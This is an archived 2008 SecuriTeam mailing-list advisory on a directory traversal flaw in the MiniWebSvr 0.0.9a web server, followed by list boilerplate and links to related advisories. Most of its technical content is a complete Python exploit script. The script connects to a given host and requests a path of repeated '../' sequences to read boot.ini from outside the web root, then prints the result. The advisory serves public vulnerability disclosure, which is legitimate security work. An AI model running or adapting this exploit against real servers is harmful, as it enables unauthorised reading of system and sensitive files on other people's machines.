[NT] MiniWebSvr Directory Transversal Vulnerability'
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 4 Mar 2008 07:22:38 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
MiniWebSvr Directory Transversal Vulnerability'
------------------------------------------------------------------------
SUMMARY
<http://miniwebsvr.sourceforge.net/> MiniWebsvr is "a tiny/small HTTP web
server that aims to one day be embeddable". A vulnerability in MiniWebSvr
allows remote attackers to access files that reside outside the bounding
HTML root directory.
DETAILS
Vulnerable Systems:
* MiniWebSvr version 0.0.9a
Exploit:
import socket
import sys
print '---------------------------------------------------------'
print 'MiniWebSvr 0.0.9a Directory Transversal Vulnerability'
print 'Project URL: http://miniwebsvr.sourceforge.net/'
print 'Author: gbr'
print 'Tested on Windows XP SP2'
print '---------------------------------------------------------'
host = "127.0.0.1"
port = 8080
if sys.argv[1:]:
host = sys.argv[1]
if sys.argv[2:]:
port = int(sys.argv[2])
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("GET /%../../../../../../../../../../../boot.ini
HTTP/1.0\r\n\r\n")
while True:
data = s.recv(4096)
if not data:
break
print data
except:
print "Connection Error"
# milw0rm.com [2008-03-03]
ADDITIONAL INFORMATION
The information has been provided by gbr.
The original article can be found at:
<http://www.milw0rm.com/exploits/5212>
http://www.milw0rm.com/exploits/5212
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Squid Analysis Report Generator Buffer Overflow
- Next by Date: [EXPL] ICQ Toolbar IsChecked Denial of Service
- Previous by thread: [UNIX] Squid Analysis Report Generator Buffer Overflow
- Next by thread: [EXPL] ICQ Toolbar IsChecked Denial of Service
- Index(es):
Relevant Pages
- [UNIX] Solaris Socket Hijack Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... By binding a socket with an already
binded port number of specific IP ... attackers can hijack an already binded sockets in
Solaris. ... A bug with Solaris Kernel flag of SO_REUSEADDR cause the Kernel to
accept ... (Securiteam) - [EXPL] Quake 3 Buffer Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... port and exit cleanly with
an unsuspicious error message. ... unsigned char ipx; ... int hooklen; //
for both sendservercommand and directconnect ... (Securiteam) - [TOOL] IRC DCC Connect() Blind Port Scanner
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... IRC DCC ConnectBlind
Port Scanner ... After waiting a short while for the mIRC client ... (Securiteam) - [NT] SLMail Pro Multiple Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The SLMail Pro Web Service running
on port 801 is ... int main{ ... (Securiteam) - [EXPL] TCP Window Size RST
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... (IP addresses of the peers and
port numbers). ... be used to reset any TCP connection once the range of sequence
numbers is ... irssi's window size was larger so I figured ... (Securiteam)